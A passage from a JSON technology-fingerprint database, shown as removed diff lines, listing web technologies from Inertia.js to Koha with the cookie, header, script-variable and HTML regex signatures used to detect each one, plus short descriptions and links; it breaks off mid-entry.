"vary": "x-inertia", - "x-inertia": "" - }, - "description": "Inertia.js is a protocol for creating monolithic single-page applications.", - "website": "https://inertiajs.com" - }, - "InfernoJS": { - "js": [ - "inferno", - "inferno.version" - ], - "website": "https://infernojs.org" - }, - "Infogram": { - "js": [ - "infogramembeds" - ], - "description": "Infogram is a web-based data visualisation and infographics platform.", - "website": "https://infogram.com" - }, - "Infolinks": { - "js": [ - "infolinks_pid", - "infolinks_wsid" - ], - "description": "Infolinks is an online advertising platform for publishers and advertisers.", - "website": "https://www.infolinks.com" - }, - "Infomaniak": { - "description": "Infomaniak is a hosting company based in Geneva, Switzerland.", - "website": "https://www.infomaniak.com" - }, - "Infoset": { - "js": [ - "infosetroot", - "infosetchat" - ], - "description": "Infoset is an advanced communication and support solutions.", - "website": "https://infoset.app" - }, - "Insider": { - "js": [ - "insider" - ], - "description": "Insider is the first integrated Growth Management Platform helping digital marketers drive growth across the funnel, from Acquisition to Activation, Retention, and Revenue from a unified platform powered by Artificial Intelligence and Machine Learning.", - "website": "https://useinsider.com" - }, - "Insightly CRM": { - "description": "Insightly CRM is a cloud-based customer relationship management software, helps businesses manage leads, contacts, and opportunities, track customer interactions, create custom reports, automate workflows, and integrate with third-party applications, improving customer engagement and streamlining business processes.", - "website": "https://www.insightly.com/crm/" - }, - "Inspectlet": { - "js": [ - "__insp", - "__inspld" - ], - "html": [ - "\u003c!-- (?:begin|end) inspectlet embed code --\u003e" - ], - "website": "https://www.inspectlet.com/" - }, - "Instabot": { - "js": [ - "instabot" - ], - "description": "Instabot is a conversion chatbot that understands your users, and curates information, answers questions, captures contacts, and books meetings instantly.", - "website": "https://instabot.io/" - }, - "Instafeed": { - "description": "Instafeed is an official Instagram app.", - "website": "https://apps.shopify.com/instafeed" - }, - "Instamojo": { - "js": [ - "instamojo", - "initial_state.seller.avatar" - ], - "description": "Instamojo is a Bangalore-based company that provides a platform for selling digital goods and collecting payment online.", - "website": "https://www.instamojo.com/" - }, - "Instana": { - "js": [ - "ineum" - ], - "description": "Instana is a Kubernetes-native APM tool which is built for new-stack including Microservices and lately Serverless but also supports the existing VM based stacks including several supported technologies.", - "website": "https://www.instana.com" - }, - "Instant.Page": { - "description": "Instant.Page is a JavaScript library which uses just-in-time preloading technique to make websites faster.", - "website": "https://instant.page/" - }, - "InstantCMS": { - "cookies": { - "instantcms[logdate]": "" - }, - "meta": { - "generator": [ - "instantcms" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://www.instantcms.ru" - }, - "InstantClick": { - "js": [ - "instantclick" - ], - "description": "InstantClick is a JavaScript library that speeds up your website, making navigation faster.", - "website": "http://instantclick.io/" - }, - "InstantGeo": { - "js": [ - "geojs" - ], - "description": "InstantGeo is a service that provides IP geolocation to web pages", - "website": "https://instantgeo.info" - }, - "Instapage": { - "js": [ - "_instapagesnowplow", - "instapagesp" - ], - "implies": [ - "Lua", - "Node.js" - ], - "description": "Instapage is a cloud-based landing page platform designed for marketing teams and agencies.", - "website": "https://instapage.com" - }, - "Instatus": { - "description": "Instatus is a status and incident communication tool.", - "website": "https://instatus.com" - }, - "Integral Ad Science": { - "description": "Integral Ad Science is an American publicly owned technology company that analyses the value of digital advertising placements.", - "website": "https://integralads.com" - }, - "Intel Active Management Technology": { - "headers": { - "server": "intel\\(r\\) active management technology(?: ([\\d.]+))?\\;version:\\1" - }, - "description": "Intel Active Management Technology (AMT) is a proprietary remote management and control system for personal computers with Intel CPUs.", - "website": "http://intel.com" - }, - "IntenseDebate": { - "description": "IntenseDebate is a blog commenting system that supports Typepad, Blogger and Wordpress blogs. The system allows blog owners to track and moderate comments from one place with features like threading, comment analytics, user reputation, and comment aggregation.", - "website": "http://intensedebate.com" - }, - "Interact": { - "js": [ - "interactapp.name", - "interactpromotionobject" - ], - "description": "Interact is a tool for creating online quizzes.", - "website": "https://www.tryinteract.com" - }, - "Intercom": { - "js": [ - "intercom" - ], - "description": "Intercom is an American software company that produces a messaging platform which allows businesses to communicate with prospective and existing customers within their app, on their website, through social media, or via email.", - "website": "https://www.intercom.com" - }, - "Intercom Articles": { - "html": [ - "\u003ca href=\"https://www.intercom.com/intercom-link[^\"]+solution=customer-support[^\u003e]+\u003ewe run on intercom" - ], - "description": "Intercom Articles is a tool to create, organise and publish help articles.", - "website": "https://www.intercom.com/articles" - }, - "Internet Brands": { - "description": "Internet Brands is a technology company that operates a variety of web portals and online communities, providing information and services to consumers and businesses across a range of industries.", - "website": "https://www.internetbrands.com" - }, - "Intersection Observer": { - "description": "Intersection Observer is a browser API that provides a way to observe the visibility and position of a DOM element relative to the containing root element or viewport.", - "website": "https://www.w3.org/TR/intersection-observer" - }, - "Intershop": { - "html": [ - "\u003cish-root" - ], - "description": "Intershop is an ecommerce platform, tailored to the needs of complex business processes and major organisations.", - "website": "http://intershop.com" - }, - "Invenio": { - "cookies": { - "inveniosession": "" - }, - "html": [ - "(?:powered by|system)\\s+(?:cern )?\u003ca (?:class=\"footer\" )?href=\"http://(?:cdsware\\.cern\\.ch(?:/invenio)?|invenio-software\\.org|cern\\.ch/invenio)(?:/)?\"\u003e(?:cds )?invenio\u003c/a\u003e\\s*v?([\\d\\.]+)?\\;version:\\1" - ], - "description": "Invenio is an open-source software framework for large-scale digital repositories that provides the tools for management of digital assets in an institutional repository and research data management systems.", - "website": "http://invenio-software.org" - }, - "Inventrue": { - "meta": { - "author": [ - "^inventrue, llc.$" - ] - }, - "description": "Inventrue creates websites for RV, Motorsports and Trailer Dealerships.", - "website": "https://www.inventrue.com" - }, - "Inveon": { - "cookies": { - "inv.customer": "\\;confidence:50", - "inveonsessionid": "" - }, - "js": [ - "invapp", - "invtagmanagerparams" - ], - "description": "Inveon is a technology company that has been delivering ecommerce infrastructure software and mcommerce applications.", - "website": "https://www.inveon.com" - }, - "Invoca": { - "js": [ - "invoca.pnapi.version", - "invocatagid" - ], - "description": "Invoca is an AI-powered call tracking and conversational analytics company.", - "website": "https://www.invoca.com" - }, - "Ionic": { - "js": [ - "ionic.config", - "ionic.version" - ], - "website": "https://ionicframework.com" - }, - "Ionicons": { - "html": [ - "\u003clink[^\u003e]* href=[^\u003e]+ionicons(?:\\.min)?\\.css" - ], - "description": "Ionicons is an open-source icon set crafted for web, iOS, Android, and desktop apps.", - "website": "http://ionicons.com" - }, - "IrisLMS": { - "description": "IrisLMS comprehensive education management system, in order to support e-learning and provide suitable conditions for holding online and offline classes with all facilities.", - "website": "https://irislms.ir" - }, - "Irroba": { - "html": [ - "\u003ca[^\u003e]*href=\"https://www\\.irroba\\.com\\.br" - ], - "website": "https://www.irroba.com.br/" - }, - "Isotope": { - "js": [ - "init_isotope", - "isotope" - ], - "description": "Isotope.js is a JavaScript library that makes it easy to sort, filter, and add Masonry layouts to items on a webpage.", - "website": "https://isotope.metafizzy.co" - }, - "Issuu": { - "js": [ - "issuureaders", - "issuupanel" - ], - "description": "Issuu is a digital discovery and publishing platform.", - "website": "https://issuu.com" - }, - "Iterable": { - "js": [ - "iterableanalytics" - ], - "description": "Iterable is a cross-channel marketing platform that powers unified customer experiences.", - "website": "https://iterable.com/" - }, - "Ivory Search": { - "js": [ - "ivorysearchvars", - "ivory_search_analytics" - ], - "description": "Ivory Search is a WordPress search plugin that improves WordPress search by providing advanced options to extend search or exclude specific content from search.", - "website": "https://ivorysearch.com" - }, - "Izooto": { - "js": [ - "izooto", - "_izooto" - ], - "description": "iZooto is a user engagement and retention tool that leverages web push notifications to help business to drive repeat traffic, leads and sales.", - "website": "https://www.izooto.com" - }, - "J2Store": { - "js": [ - "j2storeurl" - ], - "implies": [ - "Joomla" - ], - "description": "J2Store is a Joomla shopping cart and ecommerce extension.", - "website": "https://www.j2store.org" - }, - "JANet": { - "description": "JANet is an affiliate marketing network.", - "website": "https://j-a-net.jp" - }, - "JAlbum": { - "meta": { - "generator": [ - "jalbum( [\\d.]+)?\\;version:\\1" - ] - }, - "implies": [ - "Java" - ], - "description": "jAlbum is across-platform photo website software for creating and uploading galleries from images and videos.", - "website": "http://jalbum.net/en" - }, - "JBoss Application Server": { - "headers": { - "x-powered-by": "jboss(?:-([\\d.]+))?\\;version:\\1" - }, - "website": "http://jboss.org/jbossas.html" - }, - "JBoss Web": { - "headers": { - "x-powered-by": "jbossweb(?:-([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "JBoss Application Server" - ], - "website": "http://jboss.org/jbossweb" - }, - "JET Enterprise": { - "headers": { - "powered": "jet-enterprise" - }, - "website": "http://www.jetecommerce.com.br/" - }, - "JS Charts": { - "js": [ - "jschart" - ], - "website": "http://www.jscharts.com" - }, - "JSEcoin": { - "js": [ - "jsemine" - ], - "description": "JSEcoin is a way to mine, receive payments for your goods or services and transfer cryptocurrency", - "website": "https://jsecoin.com/" - }, - "JSS": { - "description": "JSS is an authoring tool for CSS which allows you to use JavaScript to describe styles in a declarative, conflict-free and reusable way.", - "website": "https://cssinjs.org/" - }, - "JShop": { - "js": [ - "jss_1stepfillshipping", - "jss_1stepdeliverytype" - ], - "description": "JShop is the ecommerce database solution marketed by Whorl Ltd. worldwide.", - "website": "http://www.whorl.co.uk" - }, - "JTL Shop": { - "cookies": { - "jtlshop": "" - }, - "html": [ - "(?:\u003cinput[^\u003e]+name=\"jtlshop|\u003ca href=\"jtl\\.php)" - ], - "description": "JTL Shop is an ecommerce product created by JTL Software company.", - "website": "https://www.jtl-software.de/online-shopsystem" - }, - "JUST": { - "description": "JUST is a one-click payment solution for online business and online shoppers.", - "website": "https://www.getjusto.com" - }, - "JW Player": { - "js": [ - "jwplayerapiurl", - "webpackjsonpjwplayer", - "jwdefaults", - "jwplayer" - ], - "description": "JW Player is a online video player with video engagement analytics, custom video player skins, and live video streaming capability.", - "website": "https://www.jwplayer.com" - }, - "Jahia DX": { - "html": [ - "\u003cscript id=\"staticassetaggregatedjavascrip" - ], - "website": "http://www.jahia.com/dx" - }, - "Jalios": { - "meta": { - "generator": [ - "jalios" - ] - }, - "website": "http://www.jalios.com" - }, - "Java": { - "cookies": { - "jsessionid": "" - }, - "description": "Java is a class-based, object-oriented programming language that is designed to have as few implementation dependencies as possible.", - "website": "http://java.com" - }, - "Java Servlet": { - "headers": { - "x-powered-by": "servlet(?:\\/([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "Java" - ], - "website": "http://www.oracle.com/technetwork/java/index-jsp-135475.html" - }, - "JavaScript Infovis Toolkit": { - "js": [ - "$jit", - "$jit.version" - ], - "website": "https://philogb.github.io/jit/" - }, - "JavaServer Faces": { - "headers": { - "x-powered-by": "jsf(?:/([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "Java" - ], - "website": "http://javaserverfaces.java.net" - }, - "JavaServer Pages": { - "headers": { - "x-powered-by": "jsp(?:/([\\d.]+))?\\;version:\\1" - }, - "implies": [ - "Java" - ], - "website": "http://www.oracle.com/technetwork/java/javaee/jsp/index.html" - }, - "Javadoc": { - "html": [ - "\u003c!-- generated by javadoc --\u003e" - ], - "description": "Javadoc is a tool used for generating Java code documentation in HTML format from Java source code.", - "website": "https://docs.oracle.com/javase/8/docs/technotes/tools/windows/javadoc.html" - }, - "Jekyll": { - "html": [ - "powered by \u003ca href=\"https?://jekyllrb\\.com\"[^\u003e]*\u003ejekyll\u003c/", - "\u003c!-- created with jekyll now -", - "\u003c!-- begin jekyll seo tag" - ], - "meta": { - "generator": [ - "jekyll\\sv([\\d.]+)?\\;version:\\1" - ] - }, - "implies": [ - "Ruby" - ], - "description": "Jekyll is a blog-aware, static site generator for personal, project, or organisation sites.", - "website": "http://jekyllrb.com" - }, - "Jenkins": { - "js": [ - "jenkinsciglobal", - "jenkinsrules" - ], - "headers": { - "x-jenkins": "([\\d.]+)\\;version:\\1" - }, - "html": [ - "\u003cspan class=\"jenkins_ver\"\u003e\u003ca href=\"https://jenkins\\.io/\"\u003ejenkins ver\\. ([\\d.]+)\\;version:\\1" - ], - "implies": [ - "Java" - ], - "description": "Jenkins is an open-source automation tool written in Java with plugins built for Continuous Integration (CI) purposes.", - "website": "https://jenkins.io/" - }, - "Jetpack": { - "description": "Jetpack is a popular WordPress plugin created by Automattic, the people behind WordPress.com.", - "website": "https://jetpack.com" - }, - "Jetshop": { - "js": [ - "jetshopdata" - ], - "html": [ - "\u003c(?:div|aside) id=\"jetshop-branding\"\u003e" - ], - "website": "http://jetshop.se" - }, - "Jetty": { - "headers": { - "server": "jetty(?:\\(([\\d\\.]*\\d+))?\\;version:\\1" - }, - "implies": [ - "Java" - ], - "website": "http://www.eclipse.org/jetty" - }, - "Jibres": { - "cookies": { - "jibres": "" - }, - "js": [ - "jibres" - ], - "headers": { - "x-powered-by": "jibres" - }, - "meta": { - "generator": [ - "jibres" - ] - }, - "description": "Jibres is an ecommerce solution with an online store builder and Point-of-Sale (PoS) software.", - "website": "https://jibres.com" - }, - "Jilt App": { - "js": [ - "jiltstorefrontparams.platform" - ], - "description": "Jilt App helps ecommerce store owners track and recover abandoned orders. Works seamlessly with Shopify and WooCommerce.", - "website": "https://community.shopify.com/c/shopify-apps/jilt-is-over-what-app-to-use-for-abandoned-carts-now/td-p/1575095" - }, - "Jilt plugin": { - "description": "Jilt plugin helps ecommerce store owners track and recover abandoned orders. Works seamlessly with Shopify and WooCommerce.", - "website": "https://wordpress.org/plugins/jilt-for-woocommerce" - }, - "Jimdo": { - "js": [ - "jimdodolphindata" - ], - "headers": { - "x-jimdo-instance": "", - "x-jimdo-wid": "" - }, - "description": "Jimdo is a website-builder and all-in-one hosting solution, designed to enable users to build their own websites.", - "website": "https://www.jimdo.com" - }, - "Jirafe": { - "js": [ - "jirafe" - ], - "website": "https://docs.jirafe.com" - }, - "Jitsi": { - "description": "Jitsi is a free and open-source multiplatform voice (VoIP), videoconferencing and instant messaging applications for the web platform.", - "website": "https://jitsi.org" - }, - "Jive": { - "headers": { - "x-jive-chrome-wrapped": "", - "x-jive-flow-id": "", - "x-jive-request-id": "", - "x-jive-user-id": "", - "x-jsl": "" - }, - "website": "http://www.jivesoftware.com" - }, - "JivoChat": { - "js": [ - "jivo_api", - "jivo_version" - ], - "description": "JivoChat is a live chat solution for websites offering customizable web and mobile chat widgets.", - "website": "https://www.jivosite.com" - }, - "Jivox": { - "description": "Jivox is a cloud-based, data-driven platform for delivering personalised digital advertising and marketing experiences at scale.", - "website": "https://jivox.com" - }, - "JobAdder": { - "description": "JobAdder is a cloud-based recruitment management platform for staffing agencies and in-house corporate hiring teams.", - "website": "https://jobadder.com" - }, - "JobberBase": { - "js": [ - "jobber" - ], - "meta": { - "generator": [ - "jobberbase" - ] - }, - "implies": [ - "PHP" - ], - "description": "Jobberbase is an open-source job board platform that enables the creation of job sites.", - "website": "http://www.jobberbase.com" - }, - "Jobvite": { - "js": [ - "jobvite" - ], - "description": "Jobvite is an applicant tracking software and recruiting platform.", - "website": "https://www.jobvite.com" - }, - "JoomShopping": { - "js": [ - "joomshoppingvideohtml5" - ], - "implies": [ - "Joomla" - ], - "description": "JoomShopping is an open-source ecommerce plugin for Joomla.", - "website": "https://www.webdesigner-profi.de/joomla-webdesign/joomla-shop" - }, - "Joomla": { - "js": [ - "joomla", - "jcomments" - ], - "headers": { - "x-content-encoded-by": "joomla! ([\\d.]+)\\;version:\\1" - }, - "html": [ - "(?:\u003cdiv[^\u003e]+id=\"wrapper_r\"|\u003c(?:link|script)[^\u003e]+(?:feed|components)/com_|\u003ctable[^\u003e]+class=\"pill)\\;confidence:50" - ], - "meta": { - "generator": [ - "joomla!(?: ([\\d.]+))?\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "description": "Joomla is a free and open-source content management system for publishing web content.", - "website": "https://www.joomla.org/" - }, - "JouwWeb": { - "js": [ - "jouwweb" - ], - "description": "JouwWeb is an online website builder that allows internet users to create own website.", - "website": "https://www.jouwweb.nl" - }, - "JsObservable": { - "description": "JsObservable is integrated with JsViews and facilitates observable data manipulations that are immediately reflected in the data-bound templates. The library is developed and maintained by Microsoft employee Boris Moore and is used in projects such as Outlook.com and Windows Azure.", - "website": "https://www.jsviews.com/#jsobservable" - }, - "JsRender": { - "implies": [ - "JsViews" - ], - "description": "JsRender is the template library. The library is developed and maintained by Microsoft employee Boris Moore and is used in projects such as Outlook.com and Windows Azure.", - "website": "https://www.jsviews.com/#jsrender" - }, - "JsViews": { - "implies": [ - "JsObservable", - "JsRender" - ], - "description": "JsViews is the MVVM library which provides two-way data binding for the template. The library is developed and maintained by Microsoft employee Boris Moore and is used in projects such as Outlook.com and Windows Azure.", - "website": "https://www.jsviews.com/#jsviews" - }, - "Judge.me": { - "js": [ - "judgeme" - ], - "description": "Judge.me is a reviews app that helps you collect and display product reviews and site reviews with photos, videos and Q\u0026A.", - "website": "https://judge.me" - }, - "JuicyAds": { - "js": [ - "adsbyjuicy" - ], - "meta": { - "juicyads-site-verification": [] - }, - "description": "JuicyAds is a legitimate advertising network that specializes in adult content.", - "website": "https://www.juicyads.com" - }, - "Jumbo": { - "implies": [ - "Shopify" - ], - "description": "Jumbo is a page speed optimizer app for Shopify based sites.", - "website": "https://www.tryjumbo.com/" - }, - "Jumio": { - "description": "Jumio is an online mobile payments and identity verification company that provides card and ID scanning and validation products for mobile and web transactions.", - "website": "https://www.jumio.com" - }, - "Jumpseller": { - "js": [ - "jumpseller" - ], - "description": "Jumpseller is a cloud ecommerce solution for small businesses.", - "website": "https://jumpseller.com" - }, - "June": { - "cookies": { - "_june_session": "" - }, - "description": "June is a product analytics for subscription businesses. It automatically generates graphs of the metrics users should track by connecting their segment account.", - "website": "https://june.so" - }, - "Junip": { - "js": [ - "juniploaded", - "webpackchunkjunip_scripts" - ], - "description": "Junip provider of a ecommerce brand review platform designed to share customers' story, send review requests and display review content.", - "website": "https://junip.co" - }, - "Juo": { - "description": "Juo is a centralised experimentation platform for innovative marketing and product teams.", - "website": "https://get.juo.io" - }, - "Juspay": { - "js": [ - "juspay" - ], - "description": "Juspay is a developer of an online platform designed to be used for mobile-based payments.", - "website": "https://juspay.in" - }, - "Justo": { - "description": "Justo is a subscription-based software that allows anyone to set up an online store and sell their products with delivery options.", - "website": "https://www.getjusto.com" - }, - "Justuno": { - "js": [ - "justunoapp" - ], - "description": "Justuno is a visitor conversion optimisation platform.", - "website": "https://www.justuno.com" - }, - "Justuno App": { - "implies": [ - "Justuno" - ], - "description": "Justuno is a premium conversion marketing and analytics platform that provides retailers with powerful tools to increase conversions.", - "website": "https://apps.shopify.com/justuno-pop-ups-email-conversion" - }, - "K-Sup": { - "meta": { - "generator": [ - "^k-sup \\(([\\d.r]+)\\)$\\;version:\\1" - ] - }, - "implies": [ - "Java" - ], - "description": "K-Sup is an open-source CMS/portal solution dedicated to higher education and research created by Kosmos Education.", - "website": "https://www.ksup.org/" - }, - "K2": { - "js": [ - "k2ratingurl" - ], - "html": [ - "\u003c!--(?: joomlaworks \"k2\"| start k2)" - ], - "implies": [ - "Joomla" - ], - "website": "https://getk2.org" - }, - "KISSmetrics": { - "js": [ - "km_cookie_domain" - ], - "website": "https://www.kissmetrics.com" - }, - "KMK": { - "description": "KMK is a company that offers ecommerce software technology in C2C, B2B, B2C areas.", - "website": "https://www.kmk.net.tr" - }, - "KPHP": { - "headers": { - "x-powered-by": "^kphp/([\\d\\.]+)$\\;version:\\1" - }, - "implies": [ - "PHP" - ], - "description": "KPHP (kPHP or KittenPHP) is a free PHP-to- C++ source-to-source translator, developed by VKontakte.", - "website": "https://vkcom.github.io/kphp" - }, - "KQS.store": { - "js": [ - "kqs_box", - "kqs_off" - ], - "description": "KQS.store is an ecommerce software.", - "website": "https://www.kqs.pl" - }, - "KaTeX": { - "js": [ - "katex", - "katex.version" - ], - "description": "KaTeX is a cross-browser JavaScript library that displays mathematical notation in web browsers.", - "website": "https://katex.org/" - }, - "Kadence WP Blocks": { - "implies": [ - "Gutenberg" - ], - "description": "Kadence WP Blocks is a plugin for WordPress that provides a collection of custom blocks for the Gutenberg editor, allowing users to create custom layouts and designs for their website without needing to know how to code.", - "website": "https://www.kadencewp.com/kadence-blocks/" - }, - "Kadence WP Kadence": { - "js": [ - "kadenceconfig", - "kadence" - ], - "description": "Kadence WP Kadence is a multipurpose WordPress theme that is available for free download and also offers a pro version.", - "website": "https://www.kadencewp.com/kadence-theme" - }, - "Kadence WP Virtue": { - "description": "Kadence WP Virtue is a multipurpose WordPress theme that is available for free download and also offers a pro version.", - "website": "https://www.kadencewp.com/product/virtue-free-theme" - }, - "Kaira Vogue": { - "description": "Vogue is a very easy to use multipurpose WordPress theme created by Kaira.", - "website": "https://kairaweb.com/wordpress-theme/vogue" - }, - "Kajabi": { - "cookies": { - "_kjb_session": "" - }, - "js": [ - "kajabi" - ], - "website": "https://kajabi.com" - }, - "Kakao": { - "js": [ - "kakao.version" - ], - "description": "Kakao platform provides various services such as Kakao Talk, Kakao Talk Channel, Kakao Story as well as Kakao Pay, Kakao Commerce, Kakao Page provided by the subsidiaries. Users can use all Kakao platform services with a united account called Kakao Account.", - "website": "https://developers.kakao.com/product" - }, - "Kaltura": { - "js": [ - "kalturaiframeembed", - "restorekalturakdpcallback", - "kplayer", - "kgetkalturaembedsettings", - "kgetkalturaplayerlist" - ], - "description": "Kaltura is a video content management platform that allows users to upload, manage, share, publish, and stream videos.", - "website": "https://corp.kaltura.com" - }, - "Kameleoon": { - "cookies": { - "kameleoonvisitorcode": "" - }, - "js": [ - "kameleoons", - "kameleoon.gatherer.script_version", - "kameleoonendloadtime" - ], - "description": "Kameleoon is a personalisation technology platform for real-time omnichannel optimisation and conversion.", - "website": "https://kameleoon.com/" - }, - "Kamva": { - "js": [ - "kamva" - ], - "meta": { - "generator": [ - "[ck]amva" - ] - }, - "website": "https://kamva.ir" - }, - "Kapix Studio": { - "js": [ - "kapixversion", - "__initial_state__" - ], - "implies": [ - "Vite", - "TypeScript" - ], - "description": "Kapix Studio is a no-code platform that lets anyone build web apps without writing any code.", - "website": "https://studio.kapix.fr" - }, - "Kapture CRM": { - "js": [ - "kapchat", - "kap_chat_js" - ], - "description": "Kapture CRM is an enterprise-grade SaaS-based customer support automation platform.", - "website": "https://www.kapturecrm.com" - }, - "Karma": { - "js": [ - "karma.vars.version" - ], - "implies": [ - "Node.js" - ], - "description": "Karma is a test runner for JavaScript that runs on Node.js.", - "website": "https://karma-runner.github.io" - }, - "Kartra": { - "js": [ - "init_kartra_tracking", - "kartra_tracking_loaded" - ], - "description": "Kartra is an online business platform that offers marketing and sales tools.", - "website": "https://home.kartra.com" - }, - "Keap": { - "description": "Keap offers an email marketing and sales platform for small businesses, including products to manage customers, customer relationship management, marketing, and ecommerce.", - "website": "https://keap.com" - }, - "Keen Delivery": { - "description": "Keen Delivery is a Dutch shipping platform ", - "website": "https://www.keendelivery.com" - }, - "Keen-Slider": { - "js": [ - "keenslider" - ], - "description": "Keen-Slider is a free library agnostic touch slider with native touch/swipe behavior.", - "website": "https://keen-slider.io" - }, - "Kemal": { - "headers": { - "x-powered-by": "kemal" - }, - "website": "http://kemalcr.com" - }, - "Kendo UI": { - "js": [ - "kendo", - "kendo.version" - ], - "html": [ - "\u003clink[^\u003e]*\\s+href=[^\u003e]*styles/kendo\\.common(?:\\.min)?\\.css[^\u003e]*/\u003e" - ], - "implies": [ - "jQuery" - ], - "description": "Kendo UI is a HTML5 user interface framework for building interactive and high-performance websites and applications.", - "website": "https://www.telerik.com/kendo-ui" - }, - "Kentico CMS": { - "cookies": { - "cmscookielevel": "", - "cmspreferredculture": "" - }, - "js": [ - "cms.application" - ], - "meta": { - "generator": [ - "kentico cms ([\\d.r]+ \\(build [\\d.]+\\))\\;version:\\1" - ] - }, - "description": "Kentico CMS is a web content management system for building websites, online stores, intranets, and Web 2.0 community sites.", - "website": "http://www.kentico.com" - }, - "Keptify": { - "js": [ - "keptify_base_url", - "_keptify.version" - ], - "description": "Keptify helps ecommerce sites of any size to increase sales and conversion rates by providing visitors with a personalised shopping experience.", - "website": "https://keptify.com" - }, - "Kerberos": { - "headers": { - "www-authenticate": "^kerberos" - }, - "description": "Kerberos is an authentication method commonly used by Windows servers", - "website": "https://tools.ietf.org/html/rfc4559" - }, - "Kestrel": { - "headers": { - "server": "^kestrel" - }, - "implies": [ - "Microsoft ASP.NET" - ], - "website": "https://docs.microsoft.com/en-us/aspnet/core/fundamentals/servers/kestrel" - }, - "Ketch": { - "description": "Ketch is a data control platform that manages compliance with privacy regulations.", - "website": "https://www.ketch.com" - }, - "Kevel": { - "js": [ - "ados", - "adosresults" - ], - "description": "Kevel (formerly Adzerk) is a developer of ad-serving APIs to help developers build server-side ad platforms.", - "website": "https://www.kevel.com" - }, - "KeyCDN": { - "headers": { - "server": "^keycdn-engine$" - }, - "description": "KeyCDN is a content delivery network (CDN).", - "website": "http://www.keycdn.com" - }, - "Keybase": { - "description": "Keybase is for keeping everyone's chats and files safe, from families to communities to companies. MacOS, Windows, Linux, iPhone, and Android.", - "website": "https://keybase.io/" - }, - "Kibana": { - "headers": { - "kbn-name": "kibana", - "kbn-version": "^([\\d.]+)$\\;version:\\1" - }, - "html": [ - "\u003ctitle\u003ekibana\u003c/title\u003e" - ], - "implies": [ - "Node.js", - "Elasticsearch" - ], - "description": "Kibana is an open-source data visualisation dashboard for Elasticsearch. It provides visualisation capabilities on top of the content indexed on an Elasticsearch cluster. Users can create bar, line and scatter plots, or pie charts and maps on top of large volumes of data.", - "website": "http://www.elastic.co/products/kibana" - }, - "Kibo Commerce": { - "description": "Kibo Commerce is a enterprise ecommerce platform that offers a cloud-based, end-to-end commerce solution for retailers and branded manufacturers.", - "website": "https://kibocommerce.com" - }, - "Kibo Personalization": { - "js": [ - "baynoteapi", - "baynotejsversion", - "certona.recommendations", - "certonarecommendations", - "monetate", - "monetateq", - "monetatet" - ], - "description": "Kibo Personalization is a omnichannel personalisation software powered by machine learning to deliver individualized customer experiences and powered by Monetate and Certona.", - "website": "https://kibocommerce.com/personalization-software" - }, - "Kiliba": { - "description": "Kiliba has developed a module that automates the marketing process from creating an email to distributing it.", - "website": "https://en.kiliba.com" - }, - "Kindful": { - "js": [ - "bloomerang.version", - "kindfulpaymentsconnect", - "bloomerangloadstarted", - "kindful_gtag" - ], - "description": "Kindful is a cloud-based donor management and fundraising software and database designed for nonprofit organisations.", - "website": "https://kindful.com" - }, - "KineticJS": { - "js": [ - "kinetic", - "kinetic.version" - ], - "website": "https://github.com/ericdrowell/KineticJS/" - }, - "Kinsta": { - "headers": { - "x-kinsta-cache": "" - }, - "implies": [ - "WordPress" - ], - "website": "https://kinsta.com" - }, - "Kirki Customizer Framework": { - "description": "Kirki Customizer Framework is a toolkit allowing WordPress developers to use the Customizer and take advantage of its advanced features and flexibility by abstracting the code.", - "website": "https://kirki.org" - }, - "Kitcart": { - "implies": [ - "Laravel", - "PHP" - ], - "description": "KitCart is a cloud-based solution that helps businesses build ecommerce stores, manage inventory, and more.", - "website": "https://kitcart.net" - }, - "Kiwi Sizing": { - "js": [ - "kiwisizing" - ], - "description": "Kiwi Sizing is a size chart and a recommender plugin on the Shopify platform.", - "website": "https://www.kiwisizing.com" - }, - "Klarna Checkout": { - "cookies": { - "ku1-sid": "", - "ku1-vid": "" - }, - "js": [ - "klarnaonsiteservice", - "_klarnacheckout" - ], - "headers": { - "content-security-policy": "\\.klarna(?:cdn|services)\\.(?:net|com)" - }, - "description": "Klarna Checkout is a complete payment solution where Klarna handles a store's entire checkout.", - "website": "https://www.klarna.com/international/" - }, - "Klaro": { - "js": [ - "klaro", - "klaroconfig" - ], - "description": "Klaro is a simple consent management platform and privacy tool.", - "website": "https://heyklaro.com" - }, - "Klasha": { - "js": [ - "klashaclient" - ], - "description": "Klasha is a payment solution provider that handles a store's entire checkout.", - "website": "https://www.klasha.com/" - }, - "Klaviyo": { - "js": [ - "klaviyosubscribe", - "klaviyo" - ], - "description": "Klaviyo is an email marketing platform for online businesses.", - "website": "https://www.klaviyo.com/" - }, - "Klevu": { - "js": [ - "klevu_apikey", - "klevu_layout", - "klevu_sessionid", - "klevu.version" - ], - "description": "Klevu is a highly advanced AI-Powered search solution for ecommerce platforms.", - "website": "https://www.klevu.com" - }, - "KlickPages": { - "js": [ - "klickart.analytics" - ], - "meta": { - "klickart:url": [] - }, - "description": "KlickPages is a landing page management software designed to help businesses execute email marketing campaigns and capture leads.", - "website": "https://klickpages.com.br" - }, - "Klickly": { - "description": "Klickly is an invite-only, commission-based advertising platform.", - "website": "https://www.klickly.com" - }, - "Knockout.js": { - "js": [ - "ko.version" - ], - "description": "Knockout.js is basically a library written in JavaScript, based on MVVM pattern that helps developers build rich and responsive websites.", - "website": "http://knockoutjs.com" - }, - "Ko-fi": { - "js": [ - "kofiwidget2" - ], - "description": "Ko-fi is an online platform that helps content creators get the financial support.", - "website": "https://ko-fi.com" - }, - "Koa": { - "headers": { - "x-powered-by": "^koa$" - }, - "implies": [ - "Node.js" - ], - "website": "http://koajs.com" - }, - "Koala": { - "js": [ - "koalasdk" - ], - "description": "Koala is an analytical product with CRM features that helps businesses efficiently identify and track prospects, providing valuable insights and streamlining the sales process.", - "website": "https://getkoala.com/" - }, - "Koala Framework": { - "html": [ - "\u003c!--[^\u003e]+this website is powered by koala web framework cms" - ], - "meta": { - "generator": [ - "^koala web framework cms" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://koala-framework.org" - }, - "KobiMaster": { - "js": [ - "kmgetsession", - "kmpageinfo" - ], - "implies": [ - "Microsoft ASP.NET" - ], - "website": "https://www.kobimaster.com.tr" - }, - "Koha": { - "js": [ - "koha" - ], - "html": [ - "\u003cinput name=\"koha_login_context\" value=\"intranet\" type=\"hidden\"\u003e", - "\u003ca href=\"/cgi-bin/koha/" - ], - "meta": { - "generator": [ - "^koha 